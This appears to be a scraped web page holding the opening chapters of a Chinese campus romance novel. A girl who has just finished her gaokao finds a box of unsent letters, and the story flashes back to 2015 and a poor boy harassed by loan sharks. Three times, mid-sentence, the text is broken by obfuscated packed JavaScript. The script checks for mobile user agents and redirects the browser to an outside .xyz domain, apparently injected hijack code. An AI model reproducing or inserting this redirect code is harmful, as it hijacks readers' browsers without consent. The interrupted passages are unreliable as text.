《匿名爱意》 1. 第一封信 雨有些大,潮湿的雾气笼罩黄昏。 余念将伞骨抵在肩头,回望被雨幕模糊的校门。‘榕城一中’四个大字被水汽洇得朦胧,像被浸泡的老照片。 她想起三年前那个同样闷热的雨天。 少女拖着行李箱站在樟树斑驳的绿荫下,盛夏的溽热扑面而来,一边和爸妈抱怨这鬼天气。 一晃三年,来去都是这场绵密的雨,为这段时光打了个圆满的结。 高考结束的实感比想象中更轻,仿佛用力扯断风筝线后手心残留的灼痛。没有预想中的狂欢,如同伞骨承不住水珠时倏然坠落的清响,与心跳在耳膜上踏出相似的节拍。 她忽然意识到,原来所有日夜兼程的奔赴,最终都归于这样温吞的雨声。 都过去了。 她攥紧书包带,帆布面料被风吹斜的细雨浸润得有些发凉。 一中的传统,高考完当天,高二的学生就会搬进新高考完的高三教室。 励志标语会被重新张贴,倒计时牌归零重启。年复一年的轮回里,唯有教室后墙的爬山虎记得那些被揉碎的演算纸,记得晚自习时从窗缝溜进来的栀子香。 玻璃窗上凝结的水珠折射着数个晃动的侧影。又是一年新面孔,像万花筒里永不重复的青春标本。 余念笑了笑,撑起伞往家的方向走。 因为家离学校近,只有十几分钟的路程,她一直都是走读。 高考需要提前将教室清空,考完英语后,她随时就能离开。 余念在榕城一中的朋友不多,玩得最好的也只有后桌和同桌。无数次预想的高考后狠狠放松发泄并没有上演,都只从对方眼中看到了释然。 说来也奇怪,每年高考季必定会下雨,后桌顾苒总是调侃,说是因为题太难,把老天爷都气哭了。 而后她们就会一同抱怨天气总是反复无常,将那些深埋心底的情感和解不出来的题目都归因于坏天气。 * 雨小了下来,淅淅沥沥。 不远处有家花店,门口摆放着姹紫嫣红的花,在这个雾气朦胧的小城市里显得有些兀色。 她停下脚步。 不由自主地想起一个人。 推开花店的门,门上的小铃铛响起清脆的声响。 余念将伞收起来,依靠在门外,“请问有小雏菊吗?” 老板娘是个年轻的女人,她闻声抬头,剪枝的动作没停,笑了声:“刚高考完?” “这种天气买花,是要去见特别的人吧。” 余念脸颊忽地有些热,正要说话,老板娘从一旁花团锦簇的各种花中选了一束,“今早刚到的雏菊,开得正好。” 递到她手心,“祝高考顺利。” 余念接过,点头笑:“谢谢。” 抱着一大束雏菊推开门时,天已经晴了,太阳躲在云雾后撒下缕缕金丝。 她拎起伞,心情笃染一轻。穿过巷口就看到熟悉的小院子。奶奶梁秀英喜欢在院子里种蔬菜,一场雨过后,蔬菜们个个水灵饱满,翠绿无比。 她小跑过去,推开门,“我回来啦!” “我们家大英雄回来啦。”梁秀英围了个围裙,举着锅铲从厨房探出头来,满脸笑呵呵的,“这些天累坏了吧,糖醋里脊马上就好啦。” “还有甜醋鱼。” 余建国的声音争抢着从厨房内传出来,伴随着锅盖阵阵碰撞声,喜气洋洋道:“今儿一大早就去菜市场买回来的鲤鱼,最是新鲜。” 说着,还传来做饭视频讲解的声音,混合着略显嘈杂的背景音乐,与油锅滋滋声交织在一起。 梁秀英用手肘碰了碰他,“将你那手机给关了,吵吵嚷嚷的。” 余建国:“这是国营饭店老师傅的秘方,旁人想吃还吃不到呢。” 梁秀英瞥了一眼手机屏幕,再看老头子那小心翼翼地紧跟步骤做的样子,有些好笑,摇摇头懒得理他。 余念换了鞋,怀中的东西一股脑往旁边的沙发尾一放,整个人就窝在了柔软的沙发里,发出高考后第一声喟叹。 那些披星戴月的苦日子,在这一刻终于化作实形。 高考完了就好了,这句话原来是真的。 她换了个舒服点姿势,朝着厨房喊了一声:“我爸妈哪去了,现在还没回来。” 梁秀英手下动作不停,接下话茬,“他俩今儿一大早就出门了,非说山上的寺庙灵验,一定要去祈福求个好兆头回来,保管咱们念念旗开得胜。” 厨房内又传来食物下锅的滋啦声,混着扑鼻的霸道香气,无孔不入。 余念懒洋洋说:“想不到爸妈也迷信。” 她扭头看了一眼窗户,雨过天晴,隐约有丝丝黄昏的光亮从云层里透出来,使本就闷湿的小城市更为潮热。 梁秀英在围裙上擦了擦手,“刚才还和他俩通电话呢,说马上就回来了,现在也没见人影。” 余建国说,“俩人是去干正事,要给念念祈福去,你老催促人干啥。” 梁秀英瞥他,“刚才不下大雨么,过问两句咋了。” 余念好笑听着俩人日常拌嘴,随手点开了电视遥控。 电视里重播着午间新闻,主持人正在播报高考盛况,字正腔圆的声音与厨房的喧闹织成温暖的网。 梁秀英朝客厅瞅了一眼,思来想去,擦了擦手正打算过去,余建国拉住她。 “老婆子,你干啥去,这里脊肉得蹲着火候,可不能马虎。” 梁秀英压低了声音,“今天不是高考结束嘛,我去问问念念考咋样。” 余建国眉头一皱,“让你平时多上网你非不听,现在的孩子哪能问这种,考都考完了,就不要给孩子平添压力。” “再说了,考的好与坏又如何,再怎样都是我的好孙女。” 梁秀英看他那样子,笑出声,将围裙重新系好,“行行行,听你的。” 厨房内的俩人还在低声说话,就听到外头一阵汽车引擎声由远及近。 余念听到爸妈的说话声,从沙发上爬起来,“爸妈,你们回来啦。” “念念,这两天辛苦了,看你都瘦了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459102|169667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “看我们带什么回来啦。” 夫妻二人双手就没有空闲的,挂满了各种颜色的袋子。 余念愣住,“这些都是...” 余妈笑着拎了拎手中的东西,“都是你喜欢的。” 进屋,关上门。 看着桌子上那些琳琅满目的东西。 有她小时候最爱吃的橡皮糖,有她初中生最想要的mp3,有她高中时最喜欢的周边,甚至还有许多零零散散的小玩意,都是她会喜欢的。 余念望着这些跨越时空的礼物,喉间忽然涌上酸涩,原来那些假装不在意的小心思,爸妈都看在眼里。 余妈围了一条围裙,“今天是个好日子,云蝉寺灵验,定然会保佑咱们念念考的全会,蒙的全对。” “那必须的。”余爸说,“小小的考试而已,拿下它!” 余念破涕为笑,心安理得地继续躺在沙发上,“那我就等着吃饭啦。” “得嘞。” 余念重新躺回沙发上,刚拿起遥控器想要给电视换个频道,忽然瞥到沙发另一头开得正好的小雏菊,猛然拍脑袋。 “怎么把这事给忘了...” 想到那个消瘦直立的身影,再看外头的黄昏浮动,她拿起花束就想要出门。 梁秀英注意到余念穿鞋的动作,问了一声:“干啥去,马上就能吃饭了。” “有急事,想去同学家一趟。”余念说着,弯腰系鞋带的手顿了顿,瞥见门边躺着一只牛皮纸箱。 纸箱边缘洇着深色的水渍,像谁在雨天里怀抱着它走了很久。 她疑惑上前,试着掂量一番,轻飘飘的。 扭头朝屋内问了一句:“谁买了快递吗?送到家门口的。” 梁秀英:“我可不会这些年轻人的网购,老头子最近总是钻研这些,是不是老头子的。” 余建国梗着脖子说,“我可没有,网上到处都在宣传电信诈骗,不要暴露个人信息。” 余爸余妈也都摇头,表示不是自己的东西。 余念思索片刻,先将这个纸盒子给抱进屋,这才发现盒子没有密封,更说明这不是快递。 许是邻居奶奶送来的吃食,余念想。 邻居奶奶常年一人居住,但心态乐观得很,喜欢琢磨吃食,时常给邻里送些,这一条巷子的邻里关系都很好。 余念掀开纸盒子的一边,看到里面装满了“熟悉”之物。 有她遗失的作业本,弄丢的发绳,高一时的校牌... 她皱起眉头,扒拉着纸箱子中的物品,发现角落里躺着一个小铁盒子。 拿出来打开一看,里面是叠得整整齐齐的一叠书信。 数了数,共有十封。这些信没有密封,只折了两层,轻易就能展开。 再看纸箱中全是自己遗失的东西,她下意识拿起最上面的一封信,落款日期是2015年。 映入眼帘的是清秀整齐的字迹。 纸页间漫出的松节油气息将她拽进时光的褶皱。那些不为人知的往事,正在字里行间苏醒。 2. 第一封信 2015年,夏末清晨。 “念念?好了没有,再不出门就要迟到了。”梁秀英的催促着,“早餐在桌上,别忘了拿。” 她一边说,又往卧室张望两下,见里头还没有动静,以为余念还在赖床,抬脚就往卧室的方向去,拖鞋在地上发出清脆的哒哒声。 “这孩子,自己上学,还得我这个老太婆来操心。” 卧室内,余念睡得迷糊,数着梁秀英的拖鞋声,直到第十声,立即从床上跃起,三两下换好校服,再将昨夜没写完的书本和卷子一股脑塞进书包,将书包背起来。 而后在梁秀英拉开房门的瞬间,挤出一个完美的笑容。晨光在她睫毛上折出狡黠的弧度。 “早上好。” 梁秀英狐疑瞅了她一眼,没发现什么不对劲,“赶紧出来吃早餐,要迟到了。” “好嘞。”余念应声。 在梁秀英转身之后又将书包放下,钻进卫生巾里以最快的速度洗漱。正叼着皮筋扎头发,瞥见镜子里翘起的呆毛,沾了自来水使劲往下压。 抬手时顺带瞥了眼手表,7:45。 完蛋,8:00就要开始上早读。 榕城一中是出了名的严格,对迟到早退这些抓得特别严,不允许丝毫松懈。 少女旋风般卷过客厅。将书包甩上肩膀,梁秀英追着往她手里塞塑料袋:“肉包子趁热吃......哎鞋带!” “奶奶,中午想吃小炒肉,我先走了。”话说完,余念已经蹿出院子。 九月的风扑在脸上带着灼人的热度,巷口修车铺的王叔正给自行车补胎,抬头乐呵呵地喊:“丫头跑慢点,注意看路。” “知道了叔。”余念喊了一声,在拐角处转身不见。 梁秀英急匆匆追到门边,看着孙女跑得跟百米冲刺似的,来不及多叮嘱,无奈回到屋内,看到余建国慢悠悠窝在摇摆椅上。 戴着老花镜,正盯着手机看。 她喊了声,“老余。” 看余建国没有动静,梁秀英凑近一看,手机上正介绍着年轻人喜欢的东西。 看着蹦极、滑雪那些推荐,梁秀英皱起眉头,“一天天都在看啥。” 余建国回过神,指了指手机:“现在年轻人玩的这些,比咱们当年滚铁环带劲多了。” 院子里的蔬菜时常要浇水,梁秀英无趣往外走,一边说:“一把年纪了还想着返老还童,你孙女说中午想要吃小炒肉,赶紧买肉去,就早上的肉新鲜,晚了可没了。” 余建国关掉手机,“好嘞,这就去。” 这一趟出门,老余不仅买了肉回来,还顺带取了一个快递,一回来就兴致冲冲朝着梁秀英喊:“我也得学些新东西,买了个新滑板,等会就出去试试。” 梁秀英没阻止他,“去吧,别摔个四仰八叉要人去抬回来就成。” 余建国自顾自拆包装,冷哼,“我稳着呢,再说了谁规定只有年轻人能学滑板了。” “是是是。”梁秀英将肉接过去,看了看,是最新鲜也最好的部位,一边往厨房走,“出门前先帮我将院子里的水龙头接上,这日头晒,别给我的菜晒蔫吧了。” 余建国闻声,放下滑板,先去把水龙头接了。 太阳渐渐升起,暖化了每一缕正在苏醒的空气。 * 余念出了巷子就往学校的方向赶。大早上的,路上也没什么人,只有着急上班的打工族和赶路的学生。 巷子前方不远处是早餐摊子和小夜市聚集的地儿,也是余念上学的必经之路。 水蒸气与烟火气弥漫交织,与匆匆来往买早餐的的笑闹声混合,热闹无比。 余念啃了两个包子,瞥了眼塑料袋中还剩一个水煮蛋,觉得喉咙有些干涩,打算去买杯豆浆。 但一路走来的早点摊子都客满为患,实在等不起,她注意到一旁生意较为清冷的老婆婆。 老婆婆的三轮车比较破旧,但用来盛放食物的盘子擦得干干净净,一尘不染。包子白白胖胖,豆浆也醇白香浓。 就是种类没有别人的多,在这样的早点高峰期,便显得生意有些冷淡。 余念快步上前,“我来一杯豆浆。” 老婆婆看到顾客前来,脸上顿时有了笑意,麻利站起身,拿起一杯干净的豆浆递过去,用不太熟练的普通话说:“小姑娘,一元钱一杯。” 余念给了一块钱,老婆婆见她是个学生,塑料杯递来时多塞了个芝麻糖饼。 脸上挂着淳朴的笑,“多吃,长身体。” 她诧异,连连摆手,“不用了,我已经吃饱了。” 但老奶奶执意要给她,余念想要掏出钱,却被老婆婆摆手拒绝,“不要钱,孩子。” 余念推辞不过,只好拿着。想下一次再来照顾老婆婆的生意。 这处胡同巷子有些年头了,巷口弯弯绕绕,错综复杂,经常听说有人绕得找不着家。因此这一片又被戏称为“核桃巷”。 住户多,但好在邻里和谐,鲜少有争执。 但就在余念吸溜豆浆路过下一个巷口时,听到里面传来怒斥尖锐的声音。 她犹豫一秒,后退半步。 就看到一个苍白的少年被堵到墙角,头发凌乱,遮住了他的眉眼,依稀能看出来眼神锋利无比,洗得发白的衣服上满是青苔的痕迹。 三个发色各异的社会青年拿着铁棍将人围住,每人身上或多或少也沾了些巷子里的青苔,还在说着脏话,不堪入耳。 红毛青年的铁棍在墙上敲得梆梆响:“说了,今儿就是最后的日子,这钱你到底给不给!” 见少年没说话,他上手推搡了两下,“问你话呢,哑巴了!” 余念咬吸管的动作僵住,都什么年代了,还有黑涩会? 打劫都打到这来了? “喂!” 黄毛青年的铁棍停在女孩的尾音里。 凶神恶煞扭头,就看到一个身穿校服的女孩站在巷口,眉眼稚嫩,手里还拎着没吃完的早餐。 三个社会混混好笑地对视了几眼,铁棍在手心里拍得作响,“小妞,想来个美救英雄?” 余念后退半步,指着早点摊的方向大声道:“有人过来了!” 三人的脸色一顿,余念瞅着几人不友善的面孔,再次后退两步,不敢过多停留,拔腿往学校的方向跑。 “学生妹逃了。”红毛冷嗤,回头瞅了一眼墙角的少年,努了努嘴,往地面上‘呸’了一声,“告诉你,再给你们一周时间,这个月的钱,必须还了,不然...” 他扭头朝巷子外看,“外面那个老太婆,摊子我给她掀了。” 见少年仍然没说话,几人拿铁棍拍了拍他的脸,“知道没有,一周时间!” 黄毛盯着他的面皮子瞧,忽然咧嘴一笑,“要不是瞅他还有点还钱的潜力,真想把他卖到那种地方,这副皮子,多的是人喜欢。” 三人哈哈大笑,再次强调交钱的期限,径直离开了巷子。 没人注意到,少年藏在身后的手紧紧握着,等巷子重归寂静,小半块砖头从他手里滑落而出,手掌由于太用力而被锋利的石砖划出几道血痕。 他盯着三人的背影,眼底划过一丝狠厉。 随后重归平静,面无表情拍了拍衣服上的青苔,抬手看手腕上的手表,指针距离12点还有三分钟。 也就是还有三分钟上课。 他抬脚往巷子深处的方向去。 他们家不算得上是“家”,搬来核桃巷之前,这间屋子已经多年不曾住人,破败不堪,遍布苔藓。 好在邻里听说这儿要住人,纷纷前来帮忙,将屋子收拾了出来,不然现在他和外婆应该就要流落街头了。 虽说屋子已经大体修补好,但毕竟丢荒多年。下雨的时候最要命,外面下大雨,里面下小雨。 但好歹有个落脚的地儿。 推开门。 屋子虽陈旧,但被收拾得一尘不染,弥漫着一股早点的香味。 宋恩年拎起桌上被洗得发白的书包,往学校的方向跑。 腿长优势在这时候体现得彻底,他赶在最后一分钟进了校门。 教导主任严肃站在校门口,时不时就要看一下手机,而后看向校门外狂奔而来的学生。 看到宋恩年,教导主任的目光难得地柔和了下来,注意到少年笑着点了点头,教导主任也笑着回应。 下一秒,教导主任扭头手机上显示正好八点整的时间,沉声大喊:“关门!” 保安立即将校门给关上。 还没来得及进学校的同学在外头唉声叹气,抱怨一片,最终还是排队被一个个记下名字之后,才放了进去。 五百字检讨少不了的。 宋恩年往教学楼赶,每个班级门口都站着各班班主任,等待自己班级晚来的学生。 宋恩年在一班,也就在一楼,省去了要爬楼梯的时间。 班主任是个严厉的中年女性,看到宋恩年匆匆赶来,她难得露出了笑,“早读开始了,快进去吧。” 宋恩年点头,“谢谢老师。” 回到自己的座位上,刚将课本拿出,转头却见窗外有几个人走过。这是清洁区的值日生。 学校划定了每个班级相关的卫生区域,早读结束后就会有人员去检查合格与否,还会进行相应的扣分,这些都会计入班级的评优。 那面流动红旗似乎象征着莫大的荣誉,以至于每个班级都要做到滴水不漏。 因此在早读时间,班里同学轮流去打扫清洁区卫生,这在一中十分常见。 宋恩年盯着窗外,他看到了那张熟悉的脸。 十分钟前,在小巷口,是他们第一次见面。 “看啥呢这么出神。”同桌孟修杵了杵他,也向外看了一眼,方才去值日的同学已经走远,走廊除了隔壁班的读书声,啥也没有。 “没有。”宋恩年扭头,将课本掏出来。 孟修看他课本上干净得跟新的一样,只有寥寥一些整齐的笔记,又忍不住一阵感慨。 “还是你牛逼,每天都卡点到,要是换做我,早被班主任骂死了。”孟修竖起课本往宋恩年的位子挪,“昨晚布置的作业写完了没,借我抄抄呗?” 宋恩年瞥他一眼,面无表情从书包里抽出试卷,折痕整齐得像用尺子比着裁的。 试卷到手,孟修竖起大拇指:“这么难的试卷,一晚上就写完了,太牛了。” “孟修,现在是什么时间。”班主任严厉的声音自教室门口传来。 孟修暗道不好,以迅雷不及掩耳之势将试卷塞入桌洞,下一秒进入状态开始读书。 “咱们一中的校规还记着吗。”班主任推了推眼镜框,凌厉的眼风扫过班里众人,“及个别同学,早读的时间还在窃窃私语,没听到别人都在读书吗,你不学别人还要学。” “差距?什么叫做差距,就是在这种小事上拉开的。” 班里顿时鸦雀无声。 班主任的威压持续片刻,又看了一眼孟修,他立刻道:“再也不会了,老师。” 班主任没买账,“不想早读,以后都去清洁区值日去。” 孟修一瘪嘴,将脑袋埋到了书本里。 班主任站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459103|169667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了好一会,抓了几个晚到的同学进行思想教育。没了压迫感,班里的读书声里渐渐弱下来,依稀能听到些细碎的聊天,夹杂着些嬉笑打闹声。 孟修有些委屈,扭头,“明明你也说话了,为什么母老虎只批评我。” 宋恩年正在复习课本,头也不抬:“也许我位置隐密。” 孟修看了看,宋恩年的位置靠窗,而自己在过道,从前门看进来,视线确实比较容易放在自己身上。 想到什么,他凑过去,“哎,最近有个新生联谊篮球赛,面向全校,你要不要参加?” 宋恩年不假思索:“有事。” 看他那认真学习的样子,孟修自讨没趣,竖起课本挡住脸,“切。” “我眯会,母老虎来了记得提醒我。” 没等到宋恩年说话,他就已经睡了过去。 宋恩年停顿片刻,思索孟修说的篮球赛。那到时候...会不会所有人都能看到。 他脑中忽然闪过女孩干净纯澈的眼眸。 他抬手将人摇醒,“怎么参加,我去。” “嗯?”孟修睡眼蒙眬,眼角直抽,“大哥,我刚睡着你就把我喊醒,就为这事?” “孟修。”班主任在敲了敲教室门,“早读还睡觉,你也过来,写五百字检讨。” 宋恩年表情在说:我叫了你的。 孟修抱头抓狂,盯了宋恩年一眼,幽怨往教室外去。 * 余念打扫完卫生回到班里,由于才开学不久,只与同桌方依珞和后桌顾苒混得熟些。 早读易困,为了防止有些同学读着读着就睡着了,领导想了个好办法,那就是所有人都站着读书。 这也更方便扭头聊天。 见顾苒和方依珞一直就在说笑,余念不忍心泼她俩冷水,“第一节课是语文,昨天语文老师说今天要抽背古诗,你们都背下来了吗。” 俩人对视一眼,从对方的眼中看到了窘迫,而后一齐转头,“那你背下来了吗?” 余念:“我昨晚熬夜背的。” “好啊你,背刺我们!”顾苒立即目光如炬举起课本,“不要再和我说话了,我将化身无情的背书机器。” 索性要背的古诗不长,不一会余念又听见后桌顾苒小声说:“听说小卖部新进了杨梅冰,可好吃了。” 方依珞眼睛一亮,在草稿纸上画了三个小人手拉手,箭头指向“小卖铺”。 三人传了一通,再次传回来时,每人都在纸条上的“放学就去”旁打勾。 这就约定好了。 想到酸甜的杨梅冰,三人心里都高兴,背书也更有动力。 * 日头过得格外的快。 榕城是典型的南方城市,闷热潮湿,知了在头顶叫唤着,一直叫到了晚自习下课。 高一的晚自习的时间比其他年级要少,晚上九点钟放学。 余念早上背书得了语文老师夸奖,高兴得猛做了一晚上的语文卷子,顾苒担心她是不是走火入魔了。 余念笑着拍她,“你才入魔了。” 三人笑闹一通,扫去一天疲惫,放学铃声响起。 榕城的夜景很美,车水马龙,霓虹闪烁。余念回家的路上,大老远就能听到小夜市方向传来的吆喝声。 还是早上卖早点的地方,摆上几张小桌子就变成了夜宵摊子。 天气热,有些汉子光着膀子喝酒撸串,豪放的声音与嘹亮的音乐声混杂。 工作压力大的,生活不如意的,大部分人都选择来这放松。 霓虹灯管闪烁,各个小摊子都有条不紊地制作美食,油花在铁板上炸开的脆响中,她看见那个游鱼般穿梭在餐桌间的少年。 捏着书包带子的手突然紧了紧, 他好像是今早上在巷子里被打劫的那个。 宋恩年好似也感应到了什么,抬起头来,两道视线在空中交汇。 四目相对的刹那,灯光在他瞳孔里淬出冷焰,像冬夜擦亮的火柴,转瞬即逝。 余念从没见过这样凌厉又好看的眼睛,眼底像是蕴藏着一整个冬天的冰,看谁都冷淡无比。 只一眼,少年便移开了目光,哪处有吆喝便往哪处去。 余念疑惑,这条路她走过无数次,但却从未见过他。 他是新搬来的吗? 念头很快被几个熟识的叔婶的招呼声打断,余念礼貌回应几声。多瞥了少年几眼,往家的方向去。 熟悉的小路,一只牛奶猫突然窜出来,亲昵蹭着她的脚背。余念伸手逗弄小猫,从口袋中拿出准备好的猫条,牛奶猫撒娇打滚了好一会。 余念这才笑着站起身来,摆摆手回家。 宋恩年站在转角阴影里,看见少女马尾辫上沾着的蒲公英正被夜风轻轻吹散。 她没注意到,在自己走后,一个身影站到了她刚才逗猫的位置。 宋恩年瞥了眼警惕性十足的牛奶猫,后腿被人以一种诡异的姿势折断了。 看到人类,它本能性地想逃。 宋恩年摸遍口袋,摸出一包孟修为了借他的作业抄而塞给他的零食小鱼。 拆开袋子,他也不确定小猫会不会过来。 牛奶猫很显然犹豫了好一会,最终才犹犹豫豫从草丛出来,眼里全是警惕。 这一尝,小猫的眼睛就亮了起来,很快将小鱼吃了干净。 随后又快速躲回了草丛里,只露出一只警惕的眼睛看着这个不速之客。 不过眼神没有那么攻击性了。 宋恩年笑了声,抬头往不远处的余念背影看去,目光明灭。 3. 第一封信 宋恩年结束一晚的工作,从每个摊主那拿到了今晚的工资。 因着他干活积极,九点钟下晚自习就来这帮忙,一直到干到12点。三个小时二十元,又能顾及大部分的摊子,摊主们都喜欢雇他。 宋恩年一共帮三个夜宵摊子干活,一晚上一共能拿六十块。 小夜市的摊主大多都是巷子的住民,多少知道他家的情况,也乐意雇他。 且天气闷热,大伙下班了没啥事就会出来遛弯,每天的客流量都爆满,也需要人手。 多雇一个人也能多周旋些,算是两全其美的事。 再加上宋恩年这小伙子长得好看,光是看着也养眼。 * 宋恩年收拾好,将书包背起来,回去还得写第二天的作业。 踏上回家的路,巷子深处的小屋还亮着微弱的灯光。 蝉声在纱窗外此起彼伏,月光顺着瓦缝淌进逼仄的小屋内。巷尾飘来栀子与夜来香交织的芬芳,混着小屋内的浓郁的饭菜香味。 宋恩年加快脚步,推开门,“外婆。” 宋奶奶看到他回来了,手在围裙上蹭了蹭,笑着:“阿幺回来了。” 宋奶奶喜气洋洋,“今儿生意好,外婆多称了一斤大棒骨回来,瞧你,最近都瘦了,快坐下来吃饭。” 宋恩年坐下,从兜里掏出刚赚到的六十元递过去,“加上这些,这个月的钱就凑够了,那些人也能消停一段时间。” 宋奶奶将钱推回去,佯装板起脸,“这个钱你自个拿着,你的辛苦外婆都看在眼里。” “再说了,外婆身体还健壮着呢,早点摊子慢慢也好起来了,生活也会好起来的。” 宋恩年动作一顿,还是倔强将钱推了过去,“我也能挣钱,您别太辛苦了。” 空气凝滞下来。 宋奶奶看着桌上的纸币,忍不住多叮嘱了两句:“阿幺,我看别人都是下课都是一堆作业,你还到处跑着挣钱,这样会不会耽误你学习...” “外婆可以的,不要担心外婆,倒是你,得多注意自己的身体。” 宋恩年点了点头,从鼻腔里挤出一个音调,“嗯。” 外婆知道这孩子打小就倔,心里认定的事,任凭旁人如何劝说都不会动摇分毫。 夹起一大块棒骨肉放到外孙碗里,眼里闪烁些许晶莹,“孩子,这些年受苦了。” 要不是那个畜生,她的阿幺又怎么会过这样的日子,想到那个人恶心的嘴脸,宋奶奶就气得颤抖。 “咳咳咳...” “外婆。”宋恩年慌张放下碗,起身去找药。外婆有心脏病,最近发作的频率越来越高,半点都马虎不得。 宋奶奶靠在椅背上,顺着气,“阿幺,外婆没事。” 宋恩年坚持让宋奶奶吃了药。 宋奶奶招呼宋恩年过去,掌心粗糙的纹路摩挲过校服布料,“外婆还要看你考去北京呢,能有什么事,放心。”脸上挂着笑,“吃饭吧,待会该凉了。” 一时间,屋内只剩下祖孙两人吃饭的声音。 屋子虽小,但好歹有两个房间和一个不算大的客厅。 吃完饭,宋恩年再三确认宋奶奶没事,这才回到自己的小房间内。 各处都被收拾得干干净净,衣服叠放得整整齐齐,空气中弥漫着皂角和阳光的气味。 他拉开台灯,光圈照亮飘在空气中的浮尘。从书包里抽出卷子开始动笔,油墨香混着夜市摊带回来的孜然味,在逼仄的小屋里酿成独特的味道。 时间点点滴滴流逝,很快就写完了一张卷子。 他将卷子夹在书本当中,又看了会书,确保自己的复习进度能跟得上老师讲课的进度,才闭上台灯,躺在床上。 外面蝉鸣声有些聒噪,一闭上眼,脑海中全是那只跛脚奶猫琉璃似的瞳孔。 和某人的眼睛一样,盛着整条银河的清辉。 鬼使神差的,他再一次坐了起来,亮起台灯。抽过一张白净的纸,思虑片刻,开始动笔。 * 余念同学: 不知道该以什么方式来写这封信,此刻蝉鸣太吵,吵得我不得不找点事做。 今早上的事,请允许我说声感谢。 谢谢你替我解围,不然今天我也该写五百字检讨了。 有些无聊,想和谁说说话,就在这封信上说吧,虽然这封信永远不会寄出。 说起来,自从来到这个小巷,还是第一次有同龄人为我说话,感谢你。同时也想给你提个醒,以后遇到这种事情不要再出头了,放高利贷的都不是好人。 外婆总说逞强的人容易胃痛,但我想告诉你,我也不会轻易让人欺负,当时裤袋里正揣着半块板砖,特地捡的。 它本该在今天派上用场,可当你转身跑开时,我突然觉得暴力是这世上最无趣的命题。 人或许不该将生命浪费在这种事情上。 还是说些别的吧。 今天夜市收摊时王叔多给了我五块钱,让我买本新练习册。核桃巷很温暖,都是好心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459104|169667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 对了,早上在巷口的时候,我看到了你的校牌,原来你是3班的,早读的时候我还看到你去打扫清洁区了。 你看起来好困的样子,是没睡够吗。 听说你们班主任是语文老师,出了名的严格,上课还是清醒一些好,不然很可能被训。 还有就是,原来每天晚上回家听到的小猫叫声都是真实存在的,我曾试图寻找过,奈何没找到,直到今晚看见你走过去,那只小猫很亲昵从草丛里出来,看你和它玩了会。 我也是才知道,原来它是一只腿受伤的小猫。 好的是,小猫没有之前那么怕人了。 但我没听到你给它起的名字,好遗憾,下次我再认真听听,希望也能和它互动。 我注意到你的发圈和书包上都印有小雏菊,是因为喜欢雏菊吗,我也觉得很好看,很衬你。 我也看不懂自己写了什么,就是些乱七八糟的。突然庆幸你永远不会看见这些笨拙的字迹。 书于2015年9月8,深夜12:43。 * 落完笔,宋恩年拿起来吹了吹。风掀起蓝格窗帘,露出天边残缺的月,像被咬过一口的糯米糍。 他对着台灯思索了许久,最后珍重放进铁皮糖盒里。 * 黄昏,火烧云将天色连成一片。 余念看完了第一封信,对着铁盒怔忡。 窗外晚风捎来烧烤摊的孜然香,与三年前那个夏夜的气息如出一辙。 原来一件不起眼的小事,在别人眼里竟有完全不一样的解读。要不是这个小铁盒,她或许不会记起那个夏夜。 看着字里行间的内容,思绪不知不觉就被带回了三年前,想到第一次和男孩见面的场景。 “当你转身跑开时,我突然觉得暴力是这世上最无趣的命题。” 她望着信纸上工整的字迹轻笑,原来大名鼎鼎的学霸也曾苦恼过,有过这样的烦恼。 如果有机会的话,她真想回到三年前抱抱他,和他说,以后你会万众瞩目,会很厉害。 余念笑了声,不着急出门了。 天色渐晚,不车流在路上滴滴答答飞驰而过。 她靠在沙发上,拿起小铁盒中的下一封信。展开,依旧是清秀整齐的字迹。 不同的是,这次的信写在一张答题卡的背面。答题纸全是折痕,像是曾被人愤怒揉成一团,而后又被温柔地展平定形。 看了名字,是她自己。又看分数,只有五十分。 4. 第二封信 那是第一次月考。 因着这是高中的第一次大型考试,几乎每个班都在开动员班会,无非就是说些励志鸡汤之类的话。 蝉鸣声裹着夏末的余温从窗外涌进来,老式吊扇在头顶咯吱转着圈。 方依珞单手转笔,一只手撑着脸,百无聊赖说,“赌一包辣条,班主任接下来肯定要说那句经典。” 她像模像样学了句:“乾坤未定,你我皆是黑马。” 话音刚落,讲台上果然传来熟悉的励志语录,三个女孩憋笑憋得肩膀直颤。 班主任严肃的目光扫过来,三人立即面无表情坐定。 班主任视线收回,咳了声,“高一的四次月考与期末考试会折合成总体分数,以作为文理分班之后是否能进实验班的标准。” “对自己有追求的同学,要好好努力了。” 班里一片哀嚎。 少数学霸扬起自信的笑。 方依珞怏怏趴在桌子上,“你们都打算选什么专业呀?” 顾苒竖起书本撑着下巴,“我想选文科,数学物理的那些公式看得我脑袋疼。文科背下来就行,应该容易些。” 方依珞点头,“有道理,我也想选文科。” 